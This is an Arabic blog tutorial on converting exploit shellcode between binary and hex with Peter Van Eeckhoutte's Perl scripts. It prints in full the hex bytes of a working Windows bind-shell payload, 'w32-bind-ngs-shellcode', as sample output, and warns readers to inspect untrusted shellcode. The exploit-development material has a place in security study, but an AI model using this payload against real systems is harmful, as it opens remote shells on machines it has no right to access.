تحويل الـ Shellcode من Hex إلى Binary و العكس

غالبا نستخدم الـ Metasploit في إنشاء الـ Shellcdoe لكن ماذا لو لم تناسبنا أي من هذه الـ Shellcodes لعلة معينه ؟ وقتها سنتحتاج أن نبحث على Shellcodes من مصادر أخرى و قد نجدها بامتداد “bin” وقتها, سنحتاج إلى تحول الـ Shellcode من Binary إلى Hex لكي نضعه في الـ Exploit خاصتنا.
في هذه الحالة سنحتاج إلى تحميل السكربت pveReadbin.pl لمبرمجه Peter Van.

أيضا قد تواجه حالة تحتاج فيها أن يكون الـ Shellcdoe خاصتك في ملف binary, مثلا في حالة استخراج الـ Bad Characters و في هذه الحالة سنحتاج إلى تحميل السكريبت pveWritebin.py

تحويل الـ Shellcode  من Binary إلى Hex

لتحميل الأداة pveReadbin

طريقة الاستخدام
perl pveReadbin.pl shellcode.bin

مثال:

perl pveReadbin.pl w32-bind-ngs-shellcode.bin
Reading w32-bind-ngs-shellcode.bin
Read 214 bytes
--------------------------------------------
Displaying bytes as hex :
--------------------------------------------
"\x31\xc9\x64\x8b\x71\x30\x8b\x76".
"\x0c\x8b\x76\x1c\x8b\x6e\x08\x8b".
"\x7e\x20\x8b\x36\x38\x4f\x18\x75".
"\xf3\x51\x68\x32\x5f\x33\x32\x68".
"\x66\x56\x77\x73\x68\xb7\x8f\x09".
"\x98\x89\xe6\xb5\x03\x29\xcc\x29".
"\xcc\x89\xe7\xd6\xf3\xaa\x41\x51".
"\x41\x51\x57\x51\x83\xef\x2c\xa4".
"\x4f\x8b\x5d\x3c\x8b\x5c\x1d\x78".
"\x01\xeb\x8b\x4b\x20\x01\xe9\x56".
"\x31\xd2\x42\x8b\x34\x91\x01\xee".
"\xb4\x36\xac\x34\x71\x28\xc4\x3c".
"\x71\x75\xf7\x3a\x27\x75\xeb\x5e".
"\x8b\x4b\x24\x01\xe9\x0f\xb7\x14".
"\x51\x8b\x4b\x1c\x01\xe9\x89\xe8".
"\x03\x04\x91\xab\x80\x3e\x09\x75".
"\x08\x8d\x5e\x04\x53\xff\xd0\x57".
"\x95\x80\x3e\x73\x75\xb1\x5e\xad".
"\xff\xd0\xad\xff\xd0\x95\x81\x2f".
"\xfe\xff\x8f\x33\x6a\x10\x57\xad".
"\x55\xff\xd0\x85\xc0\x74\xf8\x31".
"\xd2\x52\x68\x63\x6d\x64\x20\x8d".
"\x7c\x24\x38\xab\xab\xab\xc6\x47".
"\xe9\x01\x54\x87\x3c\x24\x57\x52".
"\x52\x52\xc6\x47\xef\x08\x57\x52".
"\x52\x57\x52\xff\x56\xe4\x8b\x46".
"\xfc\xe9\xca\xff\xff\xff";
Number of null bytes : 0
--------------------------------------------
Displaying bytes as ascii :
--------------------------------------------

تحويل الـ Shellcode  من Hex إلى Binary

لتحميل الأداة pveWritebin

طريقة الاستخدام

افتح السكربت و استبدل العبارة Put You Shellcode Here Line بالـ Shellcode خاصتك

#!/usr/bin/perl
# Perl script written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# This script takes a filename as argument
# will write bytes in \x format to the file
#
if ($#ARGV ne 0) {
print " usage: $0 ".chr(34)."output filename".chr(34)."\n";
exit(0);
}
system("del $ARGV[0]");
my $shellcode="Put You Shellcode Here Line1".
"Put You Shellcode Here Line2".
"Put You Shellcode Here Line3";
#open file in binary mode
print "Writing to ".$ARGV[0]."\n";
open(FILE,">$ARGV[0]");
binmode FILE;
print FILE $shellcode;
close(FILE);
print "Wrote ".length($shellcode)." bytes to file\n";

ثم نفذ السكريبت بهذه الطريقة
perl pveWritebin.pl shellcode.bin

تحذير!!

احذر من أن تستخدم Shellcode غير موثوق و اعرف محتويات هذا الملف (لأنه يقد يحتوي على أوامر تضر بنظامك!!) بالطرق التالية:

على اللنوكس -> strings
strings shellcode.bin
على ويندوز -> type
type shellcode.bin

لمزيد عن هذا الموضوع

صورة ذات علاقة

تحياتي و احترامي

نبذة عن الكاتب

المهندس صبري صالح. مهندس حماية شبكات و أنظمة و فحصها معالجة و تحليل الأحداث الأمنية و المسؤول عن تطبيق معايير الـ ISO 27001 , يعمل في بيئات متعددة المنصات. حاصل على عدة شهادات تقنية.

التعليقات:

اترك تعليقاً | عدد التعليقات: (4)

  1. […] ملاحظة: إذا كان الـShellcode بصيغة الـ Hex فيجب تحويله إلى Binary , الرجاء زيارة هذا الرابط […]

  2. […] This post was mentioned on Twitter by Security 4 Arabs. Security 4 Arabs said: http://goo.gl/AuksN تحويل الـ Shellcode من Hex إلى Binary و العكس […]

  3. يقول Hit-Man:

    السلام عليكم
    شكرا لك أخي المهندس على الدروس
    و الشئ اللي أتار انتباهي هو التحذير
    في موضوع ما ممكن تكشف لنا عن هده الأومر أخي التي تضر بنضام
    ممكن تعرض لنا متال ادا سمحلك الوقت أخي
    و شكرا أخي

  4. يقول MouNiR:

    السلام عليكم
    اولا شكرا على هذا الشرح الهائل
    +
    اليوم سألت احد الاساتذة عن طريقة ايجاد قيم الحروف بواسطة نظام العد الثنائي-بينار-،!!!
    واجابني كالتالي: كما تعرف عند الضغط على الزر ألت+ رقم مثلا 65 يظهر الحرف m ،
    اذا ما عليك الا البحث على شيفرة العدد 65 وتحولها الى النظام الثنائي !!!!!!!!!!!!
    ،،،
    ما رأيك في هدا الجواب + هل هده الطريقة صحيح ام انه تحايل عليا في جوابه ؟؟
    kkk
    شكرا مرة اخرى على الموضوع سأكون في انتظار اي جديد منك
    >>>>اللهم يســر

أكتب تعليق